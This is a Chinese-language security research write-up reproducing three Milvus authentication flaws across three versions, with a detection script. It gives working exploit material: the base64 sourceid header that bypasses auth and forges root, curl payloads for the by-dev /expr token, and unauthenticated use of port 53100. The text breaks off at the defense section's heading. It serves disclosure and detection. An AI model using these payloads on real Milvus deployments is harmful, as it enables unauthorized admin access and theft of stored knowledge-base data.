一个请求头拿下 Milvus 集群:认证绕过与官方没修完的洞
Milvus 集群认证看着牢固,但官方修 2025 年 11 月爆出的 sourceid 后门时只修了一半:2.6.5 仍有两个致命缺陷——管理端口 9091 上 /expr 用写死的 by-dev 当 token、rootcoord 内部端口 53100 完全没认证。本文用三版本纵向对比走通完整利用链,配套开源检测脚本。
复现环境:Ubuntu 22.04 服务器(2核4G,Docker 29.6.0)。Milvus 三版本 2.6.4 / 2.6.5 / 2.6.10,全部 standalone 模式(etcd + minio + milvus 全家桶),三个版本都开启认证(COMMON_SECURITY_AUTHORIZATIONENABLED=true),模拟生产环境开启认证后的状态。
前置条件:攻击者视角为未认证的外部人员,只知道 Milvus 默认配置。
写在前面
这篇东西的起点是一个请求头。Milvus 的认证拦截器里有一段给内部组件留的逻辑:请求带上 sourceid 这个 header,值 base64 解码后等于 @@milvus-member@@,整个认证就跳过了。这个值是硬编码的,等于给所有能摸到 19530 端口的人开了一扇门。
后面的事情比预想的曲折。我顺着"官方怎么修的"往下挖,发现官方在 2.6.5 把 sourceid 后门整个删了——但删完还剩两个洞:管理端口 9091 的 /expr 弱 token(对应 2026 年 2 月公开的 CVE-2026-26190),还有内部端口 53100 压根没接认证。三个洞修一个,留两个,中间版本 2.6.5 处于最尴尬的状态。
一、为什么是 Milvus
RAG 的底座
2026 年做 AI 应用,RAG(检索增强生成)基本是标配。而 RAG 的底座就是向量数据库。Milvus 是中文社区最热的开源向量数据库,GitHub 上有 3 万多个 star,很多公司的知识库、智能客服、私域问答都在用它。部署教程铺天盖地,从"Milvus 入门到精通"到"Milvus 向量数据库从部署到实战";各大云厂商的开发者社区、CSDN、掘金都有大量相关文章;RAG 框架(LangChain、LlamaIndex 这些)默认支持的向量数据库列表里,Milvus 排在很靠前的位置。
漏洞时间线
Milvus 的认证问题在 2025 下半年到 2026 年初密集暴露:
时间 | CVE | 内容 | 严重度 | 影响版本 |
2025-11-10 | CVE-2025-64513 | Milvus Proxy 认证绕过(sourceid 后门) | Critical | < 2.4.24 / < 2.5.21 / < 2.6.5 |
2026-02-13 | CVE-2026-26190 | 管理端口 9091 暴露导致认证绕过 | 高 | < 2.5.27 / < 2.6.10 |
两个 CVE 间隔三个月,都是认证问题。而我验证后发现:第一个 CVE 在 2.6.5 修了,但第二个 CVE 在 2.6.5 上依然存在——官方修一个,还有两个。
公网暴露的现实
Milvus 默认监听 19530(gRPC)和 9091(管理端口),部署教程里 Docker Compose 会把这两个端口映射出来。很多教程只教部署不教安全配置,照着教程起实例的人大概率没开认证、没改端口、没配防火墙。我用 Shodan 的 internetdb 接口验证过 AI 服务的指纹可识别性(同机房的 Ollama 服务能直接识别出 cpe 和版本号),Milvus 的 9091 healthz 返回 OK 字符串、19530 有固定 gRPC banner,都是可指纹化的特征。公网暴露量我没有做完整测绘,但部署教程的量级摆在那里,风险是真实的——向量数据库这种"存了 AI 业务核心数据"的组件,暴露在公网上比普通数据库更危险,因为 RAG 知识库基本就是公司的文档资产。
二、部署:三版本的坑
standalone 全家桶
Milvus standalone 用 Docker Compose 起,一个 compose 文件里三个服务:etcd(元数据)、minio(对象存储)、milvus(主服务)。compose 长这样(省略部分环境变量):
services:
etcd:
image: quay.io/coreos/etcd:v3.5.5
command: etcd -advertise-client-urls=http://127.0.0.1:2379 -listen-client-urls http://0.0.0.0:2379 --data-dir /etcd
minio:
image: minio/minio:RELEASE.2023-03-20T20-16-18Z
command: minio server /minio_data --console-address ":9001"
standalone:
image: milvusdb/milvus:v2.6.4
command: ["milvus", "run", "standalone"]
environment:
ETCD_ENDPOINTS: etcd:2379
MINIO_ADDRESS: minio:9000
ports:
- "19530:19530"
- "9091:9091"镜像不小,milvus 主镜像 3.5G,加上 etcd 和 minio,光拉镜像就要等一阵。起容器之后还要等健康检查通过(Milvus 启动要一两分钟):
$ docker compose -f docker-compose-264.yml up -d
$ sleep 60 && curl -s http://127.0.0.1:9091/healthz
OK看到 OK 才算真正起来了,19530 的 gRPC 才能连。三个版本我各起了一套 compose,端口和容器名都错开,避免互相干扰。
内存与端口:三版本共存
部署过程中踩了几个坑,说下对后面验证有影响的。
第一个坑是内存。我的服务器一共 3.6G 内存,一个 milvus 全家桶跑起来差不多要 1.5-2G,三个版本不可能同时跑。我的做法是先跑 2.6.4 验证完,停掉再起 2.6.5,最后再起 2.6.10。中途还停掉了服务器上两个不用的容器(之前文章验证环境的 directus11 和 n8n-patched)腾内存。停容器这事只要 docker start 就能恢复,没什么风险。内存紧张到什么程度?三个容器一起跑的时候,free -h 显示 available 只剩 1.2G,再起一个全家桶直接 OOM 风险。
第二个坑是端口。Milvus 的端口分成三类,后面挖洞全跟它们有关,先列个清单:
端口 | 作用 | 暴露范围 |
19530 | proxy gRPC(SDK 连接) | 默认对外映射 |
9091 | 管理端口(健康检查/指标/debug) | 默认对外映射 |
53100 | rootcoord 内部 gRPC | 仅容器网络内 |
为了让三个版本共存,我把端口错开:2.6.4 用 19530/9091,2.6.5 映射成 19531/9092,2.6.10 映射成 19532/9093。
REST 登录 401:排查半小时
第三个坑和认证有关,也是我花时间最多的一个。开启认证后,我用 REST API 登录 root 用户,试了好几个默认密码全是 401:
$ curl -s -X POST http://127.0.0.1:19530/v2/vectordb/users/login \
-H 'Content-Type: application/json' -d '{"username":"root","password":"Milvus"}'
{"code":1800,"message":"user hasn't authenticated"}密码试了 Milvus、milvus、root、123456 全不行。当时一度以为认证配置没生效,或者 root 用户没初始化。查 etcd 里用户数据,by-dev/meta/root-coord/credential/users/root 明明存在。折腾了半天,最后换 gRPC 客户端登录,root/Milvus 一次就过:
$ python3 -c "
from pymilvus import connections
connections.connect(alias='t', host='127.0.0.1', port='19530', user='root', password='Milvus')
print('OK')"
Milvus -> OK原因后面会说:REST API 和 gRPC 是两套认证链路,行为还不一样。这个坑耽误了我大概半小时,也让我意识到 Milvus 的认证实现是分层的,后面挖洞的时候这个认知帮了大忙。
三、侦察:默认配置有多松
默认配置与开启认证的差异
我先在完全默认配置(不开认证)下测了一轮:
$ curl -s -X POST http://127.0.0.1:19530/v2/vectordb/databases/create \
-H 'Content-Type: application/json' -d '{"dbName":"testdb"}'
{"code":0,"data":{}}没有认证,匿名直接建库成功。这是 Milvus 的默认状态:authorizationEnabled 默认 false,谁都能连。很多部署教程压根没提认证这回事,照着教程部署的实例基本等于裸奔。
然后开启认证(环境变量 COMMON_SECURITY_AUTHORIZATIONENABLED=true),再测:
$ curl -s -X POST http://127.0.0.1:19530/v2/vectordb/collections/list \
-H 'Content-Type: application/json' -d '{}'
{"code":1800,"message":"user hasn't authenticated"}匿名被拒了,认证生效。root 用户的默认密码是 Milvus(gRPC 登录验证过)。
顺带确认下版本,防止拉错镜像:
$ for c in milvus264 milvus265 milvus2610; do echo -n "$c: "; docker inspect $c --format '{{.Config.Image}}'; done
milvus264: milvusdb/milvus:v2.6.4
milvus265: milvusdb/milvus:v2.6.5
milvus2610: milvusdb/milvus:v2.6.10三个版本都确认一遍,后面所有对比结论都建立在"版本没搞错"这个前提上。
两套认证链路
到这里有个重要观察:REST API(/v2/vectordb/*)有自己的认证中间件,走的是 GIN HTTP 层;而 gRPC 走的是另一套拦截器。这两个链路的认证逻辑完全独立,REST 那边拦住了不代表 gRPC 那边也安全。后面 CVE-2025-64513 的利用点,恰恰就在 gRPC 链路上。
这个"两套认证"的认知怎么来的?除了登录行为差异,还有两个佐证。
第一个佐证是 REST API 的登录端点行为异常。开认证后 REST 登录一直 401,但 gRPC 登录正常——如果两套认证共用一套逻辑,不应该出现这种差异。
第二个佐证是拦截器实现的路径不同。REST 的认证逻辑在 GIN 中间件里(internal/http/ 目录),gRPC 的认证逻辑在 internal/proxy/authentication_interceptor.go,两者完全独立。这一点在挖洞的时候成了关键线索:我只盯 gRPC 链路,因为它是 SDK 默认的通信方式,而且认证实现更"特殊"(有 sourceid 这种内部机制)。
另外侦察阶段还确认了一个事实:即使开了认证,默认配置下 9091 管理端口依然是完全开放、没有认证的(这个后面专门讲)。当时我只测了 19530 的 API,没第一时间注意到 9091 上的路由——这是后来查 CVE-2026-26190 资料时才反应过来的。
四、CVE-2025-64513:sourceid 后门复盘
advisory 与源码定位
先看官方 advisory 怎么说:未认证攻击者可以利用这个漏洞绕过 Milvus Proxy 的全部认证机制,获得集群完全管理权限。这个漏洞影响 2.4.24 / 2.5.21 / 2.6.5 之前的版本,官方在 2.6.5 修复。官方给的临时缓解措施很有意思——"在网关层把 sourceid 这个 header 从所有请求里删掉"。
一个 header 能绕过全部认证,这摆明了是设计层面的问题。翻源码,找到认证拦截器 internal/proxy/authentication_interceptor.go:
func validSourceID(ctx context.Context, authorization []string) bool {
if len(authorization) < 1 {
return false
}
// token format: base64<sourceID>
token := authorization[0]
sourceID, err := crypto.Base64Decode(token)
if err != nil {
return false
}
return sourceID == util.MemberCredID
}再看两个常量:
HeaderSourceID = "sourceId" // pkg/util/constant.go:50
MemberCredID = "@@milvus-member@@" // pkg/util/constant.go:52拦截器的主逻辑:
if Params.CommonCfg.AuthorizationEnabled.GetAsBool() {
if !validSourceID(ctx, md[strings.ToLower(util.HeaderSourceID)]) {
// 正常认证:校验 authorization 里的 base64(username:password)
}
// sourceid 校验通过 → 整个认证分支直接跳过!
}逻辑很清楚:如果请求带了 sourceId header,且它的值 base64 解码后等于 @@milvus-member@@,那就认为这个请求来自 Milvus 内部组件(member),直接跳过认证。
内部组件互信机制
这个机制是给内部组件用的。Milvus 内部组件之间(比如 proxy 调 rootcoord)通过 gRPC 互调,客户端用 PerRPCCredentials 自动带上这个 header(internal/util/grpcclient/auth.go):
func (t *Token) GetRequestMetadata(ctx context.Context, uri ...string) (map[string]string, error) {
return map[string]string{util.HeaderSourceID: t.Value}, nil
}问题在于:这个"内部成员身份"没有任何来源校验。@@milvus-member@@ 是硬编码的常量,base64 一下就是 QEBtaWx2dXMtbWVtYmVyQEA=,谁都能算出来。攻击者只要在 gRPC 请求里带上这个 header,Proxy 就认为他是内部组件,认证直接跳过。
复现:一条 header 绕过认证
复现需要构造 gRPC 请求。Milvus 的 gRPC 服务定义在 milvus-proto 仓库,我用 grpc_tools 生成了 Python 客户端代码,然后写了个小脚本。核心就两步:
# 1. 未认证基线
stub.ListDatabases(ListDatabasesRequest())
# 报错: UNAUTHENTICATED missing authorization in header
# 2. 带 sourceid 后门
stub.ListDatabases(ListDatabasesRequest(),
metadata=[("sourceid", "QEBtaWx2dXMtbWVtYmVyQEA=")])
# code=0, 返回所有数据库这里踩了个小坑:一开始用 sourceId(大写 I)传 metadata key,直接被 gRPC 客户端拒绝:
Metadata key 'sourceId' is invalid: INTERNAL: Illegal header key
原因:gRPC 规范要求 metadata 的 key 必须全小写。而服务端拦截器查的是 md[strings.ToLower(util.HeaderSourceID)],也就是全小写的 sourceid。所以正确的传法是 sourceid(全小写)。
复现结果(2.6.4,开启认证):
=== 1. 未认证基线 ===
[未认证] RPC错误: StatusCode.UNAUTHENTICATED missing authorization in header
=== 2. sourceid 全小写 (payload=base64("@@milvus-member@@")) ===
[sourceid绕过] status code=0
>>> 绕过成功! 数据库: ['default']
=== 3. 其他值对比 ===
[sourceid=1] RPC错误: StatusCode.UNAUTHENTICATED
[sourceid=原始字符串] RPC错误: StatusCode.UNAUTHENTICATED未认证被拒,带上 sourceid: QEBtaWx2dXMtbWVtYmVyQEA= 直接绕过,能列出所有数据库。而且这个值很挑剔:传 1 不行,传原始字符串 @@milvus-member@@ 也不行,必须 base64 编码后的完整值。这个"挑剔"反而说明了实现逻辑:它拿 header 值做 base64 解码再比对,所以只认编码后的完整字符串。
到这里只是"认证绕过 + 信息泄露"。但 GHSA 说的是"完全管理权限"。我继续挖,发现完整的利用链比预想的更离谱——不需要知道任何密码。
五、完整利用链:sourceid + 假身份 = full admin
攻击者画像
先说下攻击者画像:能接触到 19530 端口的未认证人员——公网攻击者、内网低权限用户、被攻破的旁路服务。他不需要任何凭据,只需要会算 base64。下面这条链就是给他准备的。
跳过校验:sourceid + 假身份 = full admin
回到拦截器代码,注意一个细节:validSourceID 通过后,不是"把请求当作某个特定用户处理",而是整个认证分支被跳过。authorization header 里的内容根本没被校验,原样透传到内部组件。
内部组件(rootcoord 等)拿到请求后,从 authorization header 里解析出用户名和密码,然后……只信用户名。密码校验发生在 proxy 层的认证拦截器里,内部组件默认调用方已经验证过了。
把这两点串起来就是完整利用链:
- 带 sourceid: base64("@@milvus-member@@") 让 proxy 跳过认证
- 再带一个 authorization: base64("root:随便什么假密码") 伪造 root 身份
- proxy 不校验 authorization(因为 sourceid 已经放行了)
- 内部组件解析出 username=root,直接给 root 权限
验证一下(2.6.4):
=== 2.6.4: sourceid + 伪造 root(假密码)管理操作 ===
[CreateDatabase(evil_db)] code=0
[ListDatabases(again)] code=0 dbs=['default', 'evil_db']CreateDatabase 返回 code=0,再次列出数据库,evil_db 实实在在出现在列表里。全程没有用真正的 root 密码。
对照组更能说明问题——只带假 authorization、不带 sourceid:
[ListDatabases(假身份无sourceid)] RPC: StatusCode.UNAUTHENTICATED auth check failure, please check username and password are correct
假密码单独出现会被正常拒绝。但加上 sourceid 后,密码校验整个被跳过。这就是 CVE-2025-64513 "完全管理权限"的真正机制:sourceid 后门不仅绕过了认证,还让攻击者能以任意用户名(包括 root)的身份执行任何操作。
再展开验证一下这个绕过身份能干什么,除了建库之外,用户管理、集合管理都试了一遍:
=== 2.6.4: sourceid + 伪造 root 身份 ===
[ListDatabases] code=0 数据库=[...全部库...]
[ListCredUsers] code=0 users=['admin3', 'root'] <- 能看到所有用户
[ShowCollections] code=0
[CreateCredential(ghost)] 失败: decode password fail <- 密码格式问题,不影响主链能看到用户列表、能列集合、能建库。CreateCredential 那个失败是密码字段格式问题(Milvus 要求 base64 编码的密码),不是权限问题——但建库成功已经足够证明完全管理权限了,我没有继续纠结这个细节。
还有个细节值得说:拦截器里,API key 分支和用户名密码分支是并列的。sourceid 有效时两个分支都跳过,authorization 原样透传。所以攻击者不只是能伪造 root——他能伪造任何用户名,只要内部组件信任这个用户名。换句话说,权限模型里有什么角色,攻击者就能扮演什么角色。
数据读写链
我还在这个绕过身份下走完了完整的数据读写链:建集合、插入数据、建索引、加载、查询,全部成功。插入的 secret 字段(一条 flag 字符串、一条模拟的内部通讯录)能被绕过身份读出来:
=== 绕过身份:完整数据读写链 (2.6.4) ===
[CreateCollection(leak_col)] code=0
[Insert(2条)] code=0
[CreateIndex] code=0
[LoadCollection] code=0
[Query(读secret)] code=0
字段 id: [1, 2]
字段 secret: ['flag{internal-rag-document}', '内部员工通讯录-张三-138xxxx']对照组:root 正常登录读同一份数据,结果一致——说明这不是我造出来的假数据,绕过身份确实拿到了真实的读写权限。
六、官方修了 sourceid:2.6.5 源码 diff
diff:validSourceID 整个删除
复现完第一个 CVE,下一步自然是看官方怎么修的。拉下 2.6.5 的源码,diff 认证拦截器:
$ diff src264/internal/proxy/authentication_interceptor.go src265/internal/proxy/authentication_interceptor.go
35,48d34
< func validSourceID(ctx context.Context, authorization []string) bool {
< if len(authorization) < 1 {
< return false
< }
< // token format: base64<sourceID>
< token := authorization[0]
< sourceID, err := crypto.Base64Decode(token)
< if err != nil {
< return false
< }
< return sourceID == util.MemberCredID
< }
<
79,81c65
< // check:
< // 1. if rpc call from a member (like index/query/data component)
< // 2. if rpc call from sdk
---
> // check rpc call from sdk修复方式非常干脆:validSourceID 函数整个删掉,认证拦截器不再信任任何 sourceid。官方等于承认了"内部成员免认证"这个设计本身就是个后门,直接移除。
2.6.5 实测
实测 2.6.5:
=== 2.6.5 (修复版) ===
[未认证] 拒绝
[只sourceid] RPC: StatusCode.UNAUTHENTICATED missing authorization in header
[sourceid+假root] RPC: StatusCode.UNAUTHENTICATED auth check failure
[真root正常认证] code=0sourceid 绕过失效,sourceid + 假身份组合也失效,修复彻底。
内部组件没受影响
到这里,故事本可以结束:复现 CVE → 官方修复 → 完事。但我的习惯是修完的版本再翻翻,看有没有同族问题。这一翻就翻出事了。
先说一个修完之后的观察:官方删了 sourceid 信任后,内部组件之间的调用怎么办?我之前看过源码,内部组件(rootcoord 调 datacoord 那些)是用 PerRPCCredentials 自动带 sourceid 的。删掉后这些调用会不会被 proxy 拒绝?
实测 2.6.5 集群功能完全正常——root 登录后建集合、插数据、查询都能跑通:
登录 OK
数据库: ['default', 'hack_db']
建集合 OK
插数据 OK原因还是那个:内部组件之间的调用走的是内部端口(rootcoord 的 53100 等),不经过 proxy 的认证拦截器。proxy 层的 sourceid 后门只影响"外部请求冒充内部成员"这一个场景。官方删掉它,内部通信完全不受影响——这个后门对外部是漏洞,对内部是废代码,删得干净利落。
七、同族挖掘:管理端口 9091 裸奔(CVE-2026-26190)
9091 上有什么
我的思路是:第一个洞是"认证链路里的信任后门",那顺着"还有哪些入口没走认证"找。Milvus 除了 19530(proxy gRPC),还有一个 9091 管理端口。这个端口在 compose 里默认就映射出来了,我部署的时候根本没多想——当时只把它当健康检查端口用,验证服务起来了没。直到查 CVE 资料才发现 2026 年 2 月公开的 CVE-2026-26190 说的就是它,而且比我以为的严重得多。
NVD 描述:2.5.27 和 2.6.10 之前的版本,9091 端口默认暴露,/expr debug 端点使用从 etcd.rootPath 派生的弱默认认证 token(默认 by-dev),可以执行任意表达式;同时完整 REST API(/api/v1/*)注册在管理端口上没有任何认证。
先看源码,internal/http/server.go 的 9091 端口注册了一堆路由:
- /healthz:健康检查
- /log/level:运行时改日志级别
- /eventlog:事件日志
- /expr:表达式执行(debug 用)
- /metrics:Prometheus 指标
- /management/stop:触发组件停止
其中 /expr 的实现:
Register(&Handler{
Path: ExprPath,
Handler: http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
code := req.URL.Query().Get("code")
auth := req.URL.Query().Get("auth")
output, err := expr.Exec(code, auth)
...
}),
})而 expr.Exec 的认证 key 在初始化时设置:
func Init() {
...
authKey = paramtable.Get().EtcdCfg.RootPath.GetValue()
}authKey 就是 etcd.rootPath,默认值是 by-dev。也就是说,任何人只要知道 Milvus 默认配置(或者看一眼部署文档),就能算出这个"认证 token"。
/expr:写死的弱 token 与实测
实测(2.6.4 管理端口 9091):
$ curl 'http://127.0.0.1:9091/expr?code=1%2B1&auth=by-dev'
{"output":"2"}
$ curl 'http://127.0.0.1:9091/expr?code=upper(%22hello%22)%2B%22-%22%2Bstring(40%2B2)&auth=by-dev'
{"output":"HELLO-42"}
$ curl 'http://127.0.0.1:9091/expr?code=1%2B1&auth=wrong'
{"msg": "failed to execute expression, the expr auth is invalid"}
$ curl 'http://127.0.0.1:9091/expr?code=1%2B1'
{"msg": "failed to execute expression, the expr auth is empty"}auth=by-dev 直接执行任意表达式(算术、字符串函数都行),auth 错误或缺省就被拒。这个弱 token 是真的弱——默认值写死在代码里,等于没有认证。
修复轨迹:2.6.5 还在,2.6.10 加开关
关键的是:2.6.5 上依然存在。我在 2.6.5 的管理端口(映射成 9092)上复测,同样的 payload 同样执行成功。官方修了 sourceid(2.6.5),但管理端口这个洞要等到 2.6.10 才修。
2.6.10 的修复方式是加了个开关:
$ curl 'http://127.0.0.1:9093/expr?code=1%2B1&auth=by-dev'
{"msg": "expr endpoint is disabled. Set common.security.exprEnabled to true to enable it."}common.security.exprEnabled 默认 false,/expr 直接禁用。这个修复思路是合理的——debug 端点默认关掉,要用自己开。
逃逸尝试:沙箱挺硬
我还试了 /expr 能不能逃逸到 RCE。这个 debug 端点用的表达式引擎是 expr-lang(Milvus 还在 go.mod 里把它替换成了一个第三方 fork:github.com/expr-lang/expr => github.com/SimFG/expr),环境里只注册了 ctx 和 objSize 两个东西。试了类型断言、分号语法、reduce 大计算,全部被沙箱拦下:
$ curl 'http://127.0.0.1:9091/expr?code=(%221%22).(int)&auth=by-dev'
{"msg": "failed to execute expression, expected name (1:8)"}
$ curl 'http://127.0.0.1:9091/expr?code=ctx%3B%22ok%22&auth=by-dev'
{"msg": "failed to execute expression, unexpected token Operator(\";\")"}
$ curl 'http://127.0.0.1:9091/expr?code=reduce(1..100000%2C%20%23%2B%231)&auth=by-dev'
{"msg": "failed to execute expression, unknown pointer #1"}我还对比了 fork 和上游的差异,看它有没有加危险函数——结果没有,fork 的改动主要在别的方面。CVE 描述里写的也是"任意表达式求值",不是 RCE。所以这个洞的实际影响是:调试接口未授权访问 + 表达式引擎暴露 + 配合管理端口上其他未认证端点做信息收集。如果表达式引擎以后被挖出逃逸,那就直接升级成 RCE——debug 端点默认暴露给不可信网络本身就是隐患。
其他端点与 /api/v1 场景
另外,9091 上还有其他几个未认证端点,顺手测了一下:
$ curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:9091/log/level
200
$ curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:9091/eventlog
200
$ curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:9091/metrics
200
$ curl -s http://127.0.0.1:9091/management/stop
{"msg": "failed to trigger component stop, stop component [] in [standalone] is not supported"}/management/stop 在 standalone 模式下返回不支持,所以 DoS 面在这里不成立。但 /metrics 会泄露内部指标信息(连接数、节点状态之类),/log/level 可以改日志级别干扰运维排障,这些都属于管理端口不该裸奔的原因。
CVE 描述里还有一条:完整 REST API(/api/v1/*)注册在管理端口上无认证。我在 standalone 模式上测 9091/api/v1 是 404——这条攻击面在 distributed(分布式)部署模式下才存在,源码里 internal/distributed/proxy/service.go 有 apiPathPrefix = "/api/v1" 的注册。我没搭 distributed 环境,这条只能从源码层面确认,standalone 的实测结果以 /expr 为准。诚实地讲,这条的攻击面分析基于源码,没有动态验证。
八、内部端口 53100:没接认证拦截器的设计缺陷
直连就通了:拦截器只挂在 proxy
这个洞是三兄弟里最"干净"的一个——不需要任何 payload,连 header 都不用带。发现它的过程也挺偶然:sourceid 挖完之后,我顺着"还有哪些入口没走认证"扫了一圈容器内的端口。先看容器 IP,再把常见内部端口都试一遍:
$ docker inspect milvus264 --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'
172.22.0.4
$ for p in 53100 13300 31000 19531 9091 19530; do
(timeout 2 bash -c "echo > /dev/tcp/172.22.0.4/$p" 2>/dev/null && echo "$p OPEN") || echo "$p closed"
done
53100 OPEN
13300 closed
31000 closed
19531 closed
9091 OPEN
19530 OPENrootcoord 的内部 gRPC 端口 53100 开着。直连试试:
=== 洞3:内部端口 rootcoord 53100 未认证直连 (2.6.4) ===
容器 IP: 172.22.0.4
[ListDatabases] code=0 数据库=['default', 'evil_db'] <-- 未认证未认证直连,直接列出所有数据库。注意这里连 sourceid 都不需要——53100 上压根没有认证拦截器。管理操作(建库、列用户)我在后面的 2.6.5 实测里继续验证。
原因在架构上。AuthenticationInterceptor(认证拦截器)只注册在 proxy 的 gRPC server 上(19530),而 rootcoord 自己的 gRPC server(53100)没有任何认证。Milvus 的设计假设是:内部端口只在受信任的网络里暴露,所以不需要认证。
2.6.5 实测
这个假设在 Docker 场景下是脆弱的。standalone 部署时,53100 绑定在容器网络里,同一网络里的其他容器(或者被 SSRF 打进去的攻击者)都能直连。我实测 2.6.4 和 2.6.5 都中招,2.6.5 上未认证 CreateDatabase(hack_db) 成功,用 root 登录后确认数据库真实存在:
=== 2.6.5 内部接口 53100 未认证管理操作 ===
[ListDatabases] code=0 dbs=['default']
[CreateDatabase(hack_db)] code=0 <- 未认证建库成功
[ListCredUsers] code=0 users=['root']
=== 交叉验证:root 登录看数据库 ===
数据库: ['default', 'hack_db'] <- hack_db 真实存在到这里要说明白一个前提:这个洞的利用条件是"攻击者已经能访问容器网络内"。公网攻击者直达不了 53100(除非端口被映射出来或者安全组放行)。它真正的威胁场景是:
- 同一个 docker 网络里有其他被攻破的服务(比如那个服务有 SSRF 或者 RCE)
- 开发环境把内部端口映射到了宿主机甚至公网
- 容器逃逸或者共享网络场景
影响面与 2.6.10 的修复
我把它写进来,是因为它和前面两个洞形成了完整的"认证失效"图景:proxy 层有后门(已修)、管理端口裸奔(2.6.10 修)、内部接口完全没有认证(2.6.10 之前)。三个洞的修复方式也各不相同,说明 Milvus 的认证边界是分层堆出来的,每一层都有自己的信任假设。
到 2.6.10,这个端口直接不再监听了(连不上)。官方算是变相修掉了这个面,但修法比较隐晦——不是加了认证,而是端口不开了。我在 2.6.10 的容器里扫了一圈,53100 确实没有监听。
九、三版本对比 + 检测脚本
汇总表
把三个洞和三个版本的状态汇总成一张表:
漏洞 | 2.6.4 | 2.6.5 | 2.6.10 |
sourceid 后门绕过认证(CVE-2025-64513) | 中招 | 已修复 | 已修复 |
管理端口 /expr 弱 token(CVE-2026-26190) | 中招 | 中招 | 已修复(默认禁用) |
内部端口 53100 无认证 | 中招 | 中招 | 端口不再监听 |
官方分两步修:2.6.5 删掉 sourceid 后门,2.6.10 给 /expr 加默认关闭开关。中间版本 2.6.5 处于"修了一半"的状态——第一个洞没了,后两个还在。
脚本设计:三阶段与运行方式
针对这三个洞,我写了个检测脚本 milvus-auth-audit.py,按三阶段设计:
- check:探测版本和认证状态(authorizationEnabled 是否开启)
- verify:检测 CVE-2025-64513(sourceid 后门)和 CVE-2026-26190(/expr 弱 token)
- exploit:检测内部端口 53100 是否未认证暴露(需要容器网络内可达)
脚本已开源:https://github.com/qianlijaingshan/milvus-auth-audit (含 README 和 proto 生成说明)
脚本设计上有个考虑:三个洞的检测方式完全不同,得分开写。sourceid 和内部端口走 gRPC,/expr 走 HTTP。所以脚本里 verify 阶段分两条线,一条调 gRPC 的 ListDatabases 接口(未认证基线 + sourceid 注入对比),一条用 curl 打 /expr 端点(auth=by-dev 试表达式)。内部端口的 exploit 走 gRPC 直连 rootcoord。
另外脚本对"未开启认证"的情况也做了区分:如果 authorizationEnabled=false,直接报 WARN(完全匿名),而不是 SAFE。因为很多部署是没开认证的,那种情况 sourceid 后门根本没机会触发——整个 proxy 都不拦人。但没开认证本身才是更大的问题。
脚本的局限也说一下:它检测的是"认证机制是否可绕过",不是漏洞利用链的完整复现。sourceid 后门验证到"能列数据库"就停了,没有继续做数据读写;/expr 验证到"能执行表达式"就停了,没有尝试逃逸。这是有意的——检测脚本的目的就是给出"该修了"的信号,深挖交给后续分析。另外 gRPC 检测依赖 proto 生成的 Python 代码,README 里写了生成步骤,跑之前要先把依赖准备好。
运行方式:
$ python3 milvus-auth-audit.py --host 127.0.0.1 --port 19530 --mgmt-port 9091
$ python3 milvus-auth-audit.py --host <容器IP> --port 19530 --mgmt-port 9091 --internal-port 53100注意内部端口检测要传容器 IP(或者内网可达的地址),因为 53100 只在容器网络里监听。
脚本对三个版本跑出来的结果完全符合预期:
=== 2.6.4 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 后门绕过认证, 数据库=[...] -> HIT
[verify] /expr 任意表达式执行 (auth=by-dev) -> HIT
[exploit] 内部端口未认证, 数据库=[...] -> HIT
[!] 发现 3 个可利用认证缺陷
=== 2.6.5 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝 -> SAFE
[verify] /expr 任意表达式执行 (auth=by-dev) -> HIT
[exploit] 内部端口未认证, 数据库=[...] -> HIT
[!] 发现 2 个可利用认证缺陷
=== 2.6.10 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝 -> SAFE
[verify] /expr 已默认禁用 -> SAFE
[exploit] 端口不可达 -> SAFE
[+] 未发现认证缺陷这个输出本身就是三版本对比的直观证据:同样的脚本,三个版本三个结果,漏洞修复的轨迹一目了然。
十、攻击链串联
公网视角
最后把三个洞串成完整的攻击视角。假设一个真实的 Milvus 部署:开启了认证、19530 暴露公网、9091 没暴露、容器网络里有其他服务。
公网攻击者只能访问 19530:
- 2.6.4:sourceid + 假身份 = full admin。攻击者只需要三步:算出 base64("@@milvus-member@@")、带上 sourceid、带上假 authorization。建库、读写数据、列用户全都能干
- 2.6.5:sourceid 修复后,公网攻击面变窄。如果 9091 也暴露了,/expr 表达式引擎可被调用(任意表达式求值 + 管理信息泄露);如果 9091 没暴露,公网侧基本只剩默认配置问题(root 默认密码、没开认证)
内网视角
攻击者通过 SSRF、其他容器漏洞或共享网络打进 docker 网络后:
- 任意版本(2.6.10 之前):直连容器 IP 的 53100,未认证 full admin。这是三个洞里最"干净"的一个——不需要任何 payload,连 header 都不用带
组合路径与数据泄露
更现实的路径是组合的:
- 攻击者先通过内网里某个有 SSRF 的服务探测(很多 AI 应用都有 URL 拉取功能)
- 扫到 53100 开放
- 直连,未认证建库、读数据
- 或者公网直达 19530(2.6.4 的话直接 sourceid 绕过)
无论哪条路进来,最后都能落到数据上。我演示的路径是绕过身份建集合、插入带 secret 字段的数据、再查询读出来。真实场景里这些数据就是 RAG 知识库里的企业文档、客服记录、内部知识——向量数据库存的都是明文,读出来就是明文。
有个细节值得强调:向量数据库的数据泄露和传统数据库不太一样。RAG 场景下,向量和原始文档是配套存储的(向量 + 原文),攻击者不仅能检索向量,还能把原文整个拖走。而且向量检索本身就能做"数据恢复"——即使没有原文,通过相似度检索也能把相近内容捞出来,这对知识库场景意味着文档内容基本等于透明。
从防御方的角度再看一遍这三个洞,其实都有提前发现的可能:sourceid 后门在开认证后做个"无凭据请求"的回归测试就能暴露;/expr 弱 token 在管理端口做一次路由枚举就能发现;内部端口 53100 用端口扫描就能看到。这三件事花不了一小时,但绝大多数部署都没做——这恰恰说明"默认配置 + 不验证"才是最大的风险敞口。
把三个洞的攻击路径整理成一张对比表:
攻击面 | 利用条件 | 权限 | 修复版本 |
sourceid 后门(19530) | 公网可达 19530 | full admin | 2.6.5 |
/expr 弱 token(9091) | 公网可达 9091 | 任意表达式求值 | 2.6.10 |
内部端口 53100 | 容器网络内可达 | full admin | 2.6.10(不再监听) |
十一、防御建议
按优先级排
